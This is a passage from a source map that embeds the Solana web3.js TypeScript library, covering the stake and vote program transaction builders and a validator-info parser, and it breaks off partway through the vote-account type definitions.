InstructionType's\n * @internal\n */\nexport const STAKE_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in StakeInstructionType]: InstructionType<\n StakeInstructionInputData[Instruction]\n >;\n}>({\n Initialize: {\n index: 0,\n layout: BufferLayout.struct<StakeInstructionInputData['Initialize']>([\n BufferLayout.u32('instruction'),\n Layout.authorized(),\n Layout.lockup(),\n ]),\n },\n Authorize: {\n index: 1,\n layout: BufferLayout.struct<StakeInstructionInputData['Authorize']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('stakeAuthorizationType'),\n ]),\n },\n Delegate: {\n index: 2,\n layout: BufferLayout.struct<StakeInstructionInputData['Delegate']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n Split: {\n index: 3,\n layout: BufferLayout.struct<StakeInstructionInputData['Split']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n Withdraw: {\n index: 4,\n layout: BufferLayout.struct<StakeInstructionInputData['Withdraw']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n Deactivate: {\n index: 5,\n layout: BufferLayout.struct<StakeInstructionInputData['Deactivate']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n Merge: {\n index: 7,\n layout: BufferLayout.struct<StakeInstructionInputData['Merge']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n AuthorizeWithSeed: {\n index: 8,\n layout: BufferLayout.struct<StakeInstructionInputData['AuthorizeWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('stakeAuthorizationType'),\n Layout.rustString('authoritySeed'),\n Layout.publicKey('authorityOwner'),\n ],\n ),\n },\n});\n\n/**\n * Stake authorization type\n */\nexport type StakeAuthorizationType = {\n /** The Stake Authorization index (from solana-stake-program) */\n index: number;\n};\n\n/**\n * An enumeration of valid StakeAuthorizationLayout's\n */\nexport const StakeAuthorizationLayout = Object.freeze({\n Staker: {\n index: 0,\n },\n Withdrawer: {\n index: 1,\n },\n});\n\n/**\n * Factory class for transactions to interact with the Stake program\n */\nexport class StakeProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Stake program\n */\n static programId: PublicKey = new PublicKey(\n 'Stake11111111111111111111111111111111111111',\n );\n\n /**\n * Max space of a Stake account\n *\n * This is generated from the solana-stake-program StakeState struct as\n * `StakeStateV2::size_of()`:\n * https://docs.rs/solana-stake-program/latest/solana_stake_program/stake_state/enum.StakeStateV2.html\n */\n static space: number = 200;\n\n /**\n * Generate an Initialize instruction to add to a Stake Create transaction\n */\n static initialize(params: InitializeStakeParams): TransactionInstruction {\n const {stakePubkey, authorized, lockup: maybeLockup} = params;\n const lockup: Lockup = maybeLockup || Lockup.default;\n const type = STAKE_INSTRUCTION_LAYOUTS.Initialize;\n const data = encodeData(type, {\n authorized: {\n staker: toBuffer(authorized.staker.toBuffer()),\n withdrawer: toBuffer(authorized.withdrawer.toBuffer()),\n },\n lockup: {\n unixTimestamp: lockup.unixTimestamp,\n epoch: lockup.epoch,\n custodian: toBuffer(lockup.custodian.toBuffer()),\n },\n });\n const instructionData = {\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a Transaction that creates a new Stake account at\n * an address generated with `from`, a seed, and the Stake programId\n */\n static createAccountWithSeed(\n params: CreateStakeAccountWithSeedParams,\n ): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccountWithSeed({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.stakePubkey,\n basePubkey: params.basePubkey,\n seed: params.seed,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n const {stakePubkey, authorized, lockup} = params;\n return transaction.add(this.initialize({stakePubkey, authorized, lockup}));\n }\n\n /**\n * Generate a Transaction that creates a new Stake account\n */\n static createAccount(params: CreateStakeAccountParams): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.stakePubkey,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n const {stakePubkey, authorized, lockup} = params;\n return transaction.add(this.initialize({stakePubkey, authorized, lockup}));\n }\n\n /**\n * Generate a Transaction that delegates Stake tokens to a validator\n * Vote PublicKey. This transaction can also be used to redelegate Stake\n * to a new validator Vote PublicKey.\n */\n static delegate(params: DelegateStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey, votePubkey} = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.Delegate;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: votePubkey, isSigner: false, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: STAKE_CONFIG_ID, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that authorizes a new PublicKey as Staker\n * or Withdrawer on the Stake account.\n */\n static authorize(params: AuthorizeStakeParams): Transaction {\n const {\n stakePubkey,\n authorizedPubkey,\n newAuthorizedPubkey,\n stakeAuthorizationType,\n custodianPubkey,\n } = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.Authorize;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n stakeAuthorizationType: stakeAuthorizationType.index,\n });\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: true},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that authorizes a new PublicKey as Staker\n * or Withdrawer on the Stake account.\n */\n static authorizeWithSeed(params: AuthorizeWithSeedStakeParams): Transaction {\n const {\n stakePubkey,\n authorityBase,\n authoritySeed,\n authorityOwner,\n newAuthorizedPubkey,\n stakeAuthorizationType,\n custodianPubkey,\n } = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n stakeAuthorizationType: stakeAuthorizationType.index,\n authoritySeed: authoritySeed,\n authorityOwner: toBuffer(authorityOwner.toBuffer()),\n });\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: authorityBase, isSigner: true, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * @internal\n */\n static splitInstruction(params: SplitStakeParams): TransactionInstruction {\n const {stakePubkey, authorizedPubkey, splitStakePubkey, lamports} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Split;\n const data = encodeData(type, {lamports});\n return new TransactionInstruction({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: splitStakePubkey, isSigner: false, isWritable: true},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that splits Stake tokens into another stake account\n */\n static split(\n params: SplitStakeParams,\n // Compute the cost of allocating the new stake account in lamports\n rentExemptReserve: number,\n ): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.authorizedPubkey,\n newAccountPubkey: params.splitStakePubkey,\n lamports: rentExemptReserve,\n space: this.space,\n programId: this.programId,\n }),\n );\n return transaction.add(this.splitInstruction(params));\n }\n\n /**\n * Generate a Transaction that splits Stake tokens into another account\n * derived from a base public key and seed\n */\n static splitWithSeed(\n params: SplitStakeWithSeedParams,\n // If this stake account is new, compute the cost of allocating it in lamports\n rentExemptReserve?: number,\n ): Transaction {\n const {\n stakePubkey,\n authorizedPubkey,\n splitStakePubkey,\n basePubkey,\n seed,\n lamports,\n } = params;\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.allocate({\n accountPubkey: splitStakePubkey,\n basePubkey,\n seed,\n space: this.space,\n programId: this.programId,\n }),\n );\n if (rentExemptReserve && rentExemptReserve > 0) {\n transaction.add(\n SystemProgram.transfer({\n fromPubkey: params.authorizedPubkey,\n toPubkey: splitStakePubkey,\n lamports: rentExemptReserve,\n }),\n );\n }\n return transaction.add(\n this.splitInstruction({\n stakePubkey,\n authorizedPubkey,\n splitStakePubkey,\n lamports,\n }),\n );\n }\n\n /**\n * Generate a Transaction that merges Stake accounts.\n */\n static merge(params: MergeStakeParams): Transaction {\n const {stakePubkey, sourceStakePubKey, authorizedPubkey} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Merge;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: sourceStakePubKey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that withdraws deactivated Stake tokens.\n */\n static withdraw(params: WithdrawStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey, toPubkey, lamports, custodianPubkey} =\n params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Withdraw;\n const data = encodeData(type, {lamports});\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: toPubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that deactivates Stake tokens.\n */\n static deactivate(params: DeactivateStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Deactivate;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {PublicKey} from '../publickey';\nimport {SystemProgram} from './system';\nimport {SYSVAR_CLOCK_PUBKEY, SYSVAR_RENT_PUBKEY} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\n\n/**\n * Vote account info\n */\nexport class VoteInit {\n nodePubkey: PublicKey;\n authorizedVoter: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number; /** [0, 100] */\n\n constructor(\n nodePubkey: PublicKey,\n authorizedVoter: PublicKey,\n authorizedWithdrawer: PublicKey,\n commission: number,\n ) {\n this.nodePubkey = nodePubkey;\n this.authorizedVoter = authorizedVoter;\n this.authorizedWithdrawer = authorizedWithdrawer;\n this.commission = commission;\n }\n}\n\n/**\n * Create vote account transaction params\n */\nexport type CreateVoteAccountParams = {\n fromPubkey: PublicKey;\n votePubkey: PublicKey;\n voteInit: VoteInit;\n lamports: number;\n};\n\n/**\n * InitializeAccount instruction params\n */\nexport type InitializeAccountParams = {\n votePubkey: PublicKey;\n nodePubkey: PublicKey;\n voteInit: VoteInit;\n};\n\n/**\n * Authorize instruction params\n */\nexport type AuthorizeVoteParams = {\n votePubkey: PublicKey;\n /** Current vote or withdraw authority, depending on `voteAuthorizationType` */\n authorizedPubkey: PublicKey;\n newAuthorizedPubkey: PublicKey;\n voteAuthorizationType: VoteAuthorizationType;\n};\n\n/**\n * AuthorizeWithSeed instruction params\n */\nexport type AuthorizeVoteWithSeedParams = {\n currentAuthorityDerivedKeyBasePubkey: PublicKey;\n currentAuthorityDerivedKeyOwnerPubkey: PublicKey;\n currentAuthorityDerivedKeySeed: string;\n newAuthorizedPubkey: PublicKey;\n voteAuthorizationType: VoteAuthorizationType;\n votePubkey: PublicKey;\n};\n\n/**\n * Withdraw from vote account transaction params\n */\nexport type WithdrawFromVoteAccountParams = {\n votePubkey: PublicKey;\n authorizedWithdrawerPubkey: PublicKey;\n lamports: number;\n toPubkey: PublicKey;\n};\n\n/**\n * Update validator identity (node pubkey) vote account instruction params.\n */\nexport type UpdateValidatorIdentityParams = {\n votePubkey: PublicKey;\n authorizedWithdrawerPubkey: PublicKey;\n nodePubkey: PublicKey;\n};\n\n/**\n * Vote Instruction class\n */\nexport class VoteInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a vote instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): VoteInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: VoteInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(VOTE_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as VoteInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a VoteInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode an initialize vote instruction and retrieve the instruction params.\n */\n static decodeInitializeAccount(\n instruction: TransactionInstruction,\n ): InitializeAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 4);\n\n const {voteInit} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.InitializeAccount,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n nodePubkey: instruction.keys[3].pubkey,\n voteInit: new VoteInit(\n new PublicKey(voteInit.nodePubkey),\n new PublicKey(voteInit.authorizedVoter),\n new PublicKey(voteInit.authorizedWithdrawer),\n voteInit.commission,\n ),\n };\n }\n\n /**\n * Decode an authorize instruction and retrieve the instruction params.\n */\n static decodeAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeVoteParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {newAuthorized, voteAuthorizationType} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.Authorize,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n voteAuthorizationType: {\n index: voteAuthorizationType,\n },\n };\n }\n\n /**\n * Decode an authorize instruction and retrieve the instruction params.\n */\n static decodeAuthorizeWithSeed(\n instruction: TransactionInstruction,\n ): AuthorizeVoteWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {\n voteAuthorizeWithSeedArgs: {\n currentAuthorityDerivedKeyOwnerPubkey,\n currentAuthorityDerivedKeySeed,\n newAuthorized,\n voteAuthorizationType,\n },\n } = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed,\n instruction.data,\n );\n\n return {\n currentAuthorityDerivedKeyBasePubkey: instruction.keys[2].pubkey,\n currentAuthorityDerivedKeyOwnerPubkey: new PublicKey(\n currentAuthorityDerivedKeyOwnerPubkey,\n ),\n currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n voteAuthorizationType: {\n index: voteAuthorizationType,\n },\n votePubkey: instruction.keys[0].pubkey,\n };\n }\n\n /**\n * Decode a withdraw instruction and retrieve the instruction params.\n */\n static decodeWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawFromVoteAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {lamports} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.Withdraw,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n authorizedWithdrawerPubkey: instruction.keys[2].pubkey,\n lamports,\n toPubkey: instruction.keys[1].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(VoteProgram.programId)) {\n throw new Error('invalid instruction; programId is not VoteProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid VoteInstructionType's\n */\nexport type VoteInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof VoteInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'Authorize'\n | 'AuthorizeWithSeed'\n | 'InitializeAccount'\n | 'Withdraw'\n | 'UpdateValidatorIdentity';\n\n/** @internal */\nexport type VoteAuthorizeWithSeedArgs = Readonly<{\n currentAuthorityDerivedKeyOwnerPubkey: Uint8Array;\n currentAuthorityDerivedKeySeed: string;\n newAuthorized: Uint8Array;\n voteAuthorizationType: number;\n}>;\ntype VoteInstructionInputData = {\n Authorize: IInstructionInputData & {\n newAuthorized: Uint8Array;\n voteAuthorizationType: number;\n };\n AuthorizeWithSeed: IInstructionInputData & {\n voteAuthorizeWithSeedArgs: VoteAuthorizeWithSeedArgs;\n };\n InitializeAccount: IInstructionInputData & {\n voteInit: Readonly<{\n authorizedVoter: Uint8Array;\n authorizedWithdrawer: Uint8Array;\n commission: number;\n nodePubkey: Uint8Array;\n }>;\n };\n Withdraw: IInstructionInputData & {\n lamports: number;\n };\n UpdateValidatorIdentity: IInstructionInputData;\n};\n\nconst VOTE_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in VoteInstructionType]: InstructionType<\n VoteInstructionInputData[Instruction]\n >;\n}>({\n InitializeAccount: {\n index: 0,\n layout: BufferLayout.struct<VoteInstructionInputData['InitializeAccount']>([\n BufferLayout.u32('instruction'),\n Layout.voteInit(),\n ]),\n },\n Authorize: {\n index: 1,\n layout: BufferLayout.struct<VoteInstructionInputData['Authorize']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('voteAuthorizationType'),\n ]),\n },\n Withdraw: {\n index: 3,\n layout: BufferLayout.struct<VoteInstructionInputData['Withdraw']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n UpdateValidatorIdentity: {\n index: 4,\n layout: BufferLayout.struct<\n VoteInstructionInputData['UpdateValidatorIdentity']\n >([BufferLayout.u32('instruction')]),\n },\n AuthorizeWithSeed: {\n index: 10,\n layout: BufferLayout.struct<VoteInstructionInputData['AuthorizeWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.voteAuthorizeWithSeedArgs(),\n ]),\n },\n});\n\n/**\n * VoteAuthorize type\n */\nexport type VoteAuthorizationType = {\n /** The VoteAuthorize index (from solana-vote-program) */\n index: number;\n};\n\n/**\n * An enumeration of valid VoteAuthorization layouts.\n */\nexport const VoteAuthorizationLayout = Object.freeze({\n Voter: {\n index: 0,\n },\n Withdrawer: {\n index: 1,\n },\n});\n\n/**\n * Factory class for transactions to interact with the Vote program\n */\nexport class VoteProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Vote program\n */\n static programId: PublicKey = new PublicKey(\n 'Vote111111111111111111111111111111111111111',\n );\n\n /**\n * Max space of a Vote account\n *\n * This is generated from the solana-vote-program VoteState struct as\n * `VoteState::size_of()`:\n * https://docs.rs/solana-vote-program/1.9.5/solana_vote_program/vote_state/struct.VoteState.html#method.size_of\n *\n * KEEP IN SYNC WITH `VoteState::size_of()` in https://github.com/solana-labs/solana/blob/a474cb24b9238f5edcc982f65c0b37d4a1046f7e/sdk/program/src/vote/state/mod.rs#L340-L342\n */\n static space: number = 3762;\n\n /**\n * Generate an Initialize instruction.\n */\n static initializeAccount(\n params: InitializeAccountParams,\n ): TransactionInstruction {\n const {votePubkey, nodePubkey, voteInit} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.InitializeAccount;\n const data = encodeData(type, {\n voteInit: {\n nodePubkey: toBuffer(voteInit.nodePubkey.toBuffer()),\n authorizedVoter: toBuffer(voteInit.authorizedVoter.toBuffer()),\n authorizedWithdrawer: toBuffer(\n voteInit.authorizedWithdrawer.toBuffer(),\n ),\n commission: voteInit.commission,\n },\n });\n const instructionData = {\n keys: [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: nodePubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a transaction that creates a new Vote account.\n */\n static createAccount(params: CreateVoteAccountParams): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.votePubkey,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n return transaction.add(\n this.initializeAccount({\n votePubkey: params.votePubkey,\n nodePubkey: params.voteInit.nodePubkey,\n voteInit: params.voteInit,\n }),\n );\n }\n\n /**\n * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account.\n */\n static authorize(params: AuthorizeVoteParams): Transaction {\n const {\n votePubkey,\n authorizedPubkey,\n newAuthorizedPubkey,\n voteAuthorizationType,\n } = params;\n\n const type = VOTE_INSTRUCTION_LAYOUTS.Authorize;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n voteAuthorizationType: voteAuthorizationType.index,\n });\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account\n * where the current Voter or Withdrawer authority is a derived key.\n */\n static authorizeWithSeed(params: AuthorizeVoteWithSeedParams): Transaction {\n const {\n currentAuthorityDerivedKeyBasePubkey,\n currentAuthorityDerivedKeyOwnerPubkey,\n currentAuthorityDerivedKeySeed,\n newAuthorizedPubkey,\n voteAuthorizationType,\n votePubkey,\n } = params;\n\n const type = VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed;\n const data = encodeData(type, {\n voteAuthorizeWithSeedArgs: {\n currentAuthorityDerivedKeyOwnerPubkey: toBuffer(\n currentAuthorityDerivedKeyOwnerPubkey.toBuffer(),\n ),\n currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed,\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n voteAuthorizationType: voteAuthorizationType.index,\n },\n });\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: currentAuthorityDerivedKeyBasePubkey,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction to withdraw from a Vote account.\n */\n static withdraw(params: WithdrawFromVoteAccountParams): Transaction {\n const {votePubkey, authorizedWithdrawerPubkey, lamports, toPubkey} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.Withdraw;\n const data = encodeData(type, {lamports});\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: toPubkey, isSigner: false, isWritable: true},\n {pubkey: authorizedWithdrawerPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction to withdraw safely from a Vote account.\n *\n * This function was created as a safeguard for vote accounts running validators, `safeWithdraw`\n * checks that the withdraw amount will not exceed the specified balance while leaving enough left\n * to cover rent. If you wish to close the vote account by withdrawing the full amount, call the\n * `withdraw` method directly.\n */\n static safeWithdraw(\n params: WithdrawFromVoteAccountParams,\n currentVoteAccountBalance: number,\n rentExemptMinimum: number,\n ): Transaction {\n if (params.lamports > currentVoteAccountBalance - rentExemptMinimum) {\n throw new Error(\n 'Withdraw will leave vote account with insufficient funds.',\n );\n }\n return VoteProgram.withdraw(params);\n }\n\n /**\n * Generate a transaction to update the validator identity (node pubkey) of a Vote account.\n */\n static updateValidatorIdentity(\n params: UpdateValidatorIdentityParams,\n ): Transaction {\n const {votePubkey, authorizedWithdrawerPubkey, nodePubkey} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.UpdateValidatorIdentity;\n const data = encodeData(type);\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: nodePubkey, isSigner: true, isWritable: false},\n {pubkey: authorizedWithdrawerPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport {\n assert as assertType,\n optional,\n string,\n type as pick,\n} from 'superstruct';\n\nimport * as Layout from './layout';\nimport * as shortvec from './utils/shortvec-encoding';\nimport {PublicKey, PUBLIC_KEY_LENGTH} from './publickey';\nimport {guardedShift, guardedSplice} from './utils/guarded-array-utils';\n\nexport const VALIDATOR_INFO_KEY = new PublicKey(\n 'Va1idator1nfo111111111111111111111111111111',\n);\n\n/**\n * @internal\n */\ntype ConfigKey = {\n publicKey: PublicKey;\n isSigner: boolean;\n};\n\n/**\n * Info used to identity validators.\n */\nexport type Info = {\n /** validator name */\n name: string;\n /** optional, validator website */\n website?: string;\n /** optional, extra information the validator chose to share */\n details?: string;\n /** optional, validator logo URL */\n iconUrl?: string;\n /** optional, used to identify validators on keybase.io */\n keybaseUsername?: string;\n};\n\nconst InfoString = pick({\n name: string(),\n website: optional(string()),\n details: optional(string()),\n iconUrl: optional(string()),\n keybaseUsername: optional(string()),\n});\n\n/**\n * ValidatorInfo class\n */\nexport class ValidatorInfo {\n /**\n * validator public key\n */\n key: PublicKey;\n /**\n * validator information\n */\n info: Info;\n\n /**\n * Construct a valid ValidatorInfo\n *\n * @param key validator public key\n * @param info validator information\n */\n constructor(key: PublicKey, info: Info) {\n this.key = key;\n this.info = info;\n }\n\n /**\n * Deserialize ValidatorInfo from the config account data. Exactly two config\n * keys are required in the data.\n *\n * @param buffer config account data\n * @return null if info was not found\n */\n static fromConfigData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): ValidatorInfo | null {\n let byteArray = [...buffer];\n const configKeyCount = shortvec.decodeLength(byteArray);\n if (configKeyCount !== 2) return null;\n\n const configKeys: Array<ConfigKey> = [];\n for (let i = 0; i < 2; i++) {\n const publicKey = new PublicKey(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n const isSigner = guardedShift(byteArray) === 1;\n configKeys.push({publicKey, isSigner});\n }\n\n if (configKeys[0].publicKey.equals(VALIDATOR_INFO_KEY)) {\n if (configKeys[1].isSigner) {\n const rawInfo: any = Layout.rustString().decode(Buffer.from(byteArray));\n const info = JSON.parse(rawInfo as string);\n assertType(info, InfoString);\n return new ValidatorInfo(configKeys[1].publicKey, info);\n }\n }\n\n return null;\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\nimport type {Buffer} from 'buffer';\n\nimport * as Layout from './layout';\nimport {PublicKey} from './publickey';\nimport {toBuffer} from './utils/to-buffer';\n\nexport const VOTE_PROGRAM_ID = new PublicKey(\n 'Vote111111111111111111111111111111111111111',\n);\n\nexport type Lockout = {\n slot: number;\n confirmationCount: number;\n};\n\n/**\n * History of how many credits earned by the end of each epoch\n */\nexport type EpochCredits = Readonly<{\n epoch: number;\n credits: number;\n prevCredits: number;\n}>;\n\nexport type AuthorizedVoter = Readonly<{\n epoch: number;\n authorizedVoter: PublicKey;\n}>;\n\ntype AuthorizedVoterRaw = Readonly<{\n authorizedVoter: Uint8Array;\n epoch: number;\n}>;\n\ntype PriorVoters = Readonly<{\n buf: PriorVoterRaw[];\n idx: number;\n isEmpty: number;\n}>;\n\nexport type PriorVoter = Readonly<{\n authorizedPubkey: PublicKey;\n epochOfLastAuthorizedSwitch: number;\n targetEpoch: number;\n}>;\n\ntype PriorVoterRaw = Readonly<{\n authorizedPubkey: Uint8Array;\n epochOfLastAuthorizedSwitch: number;\n 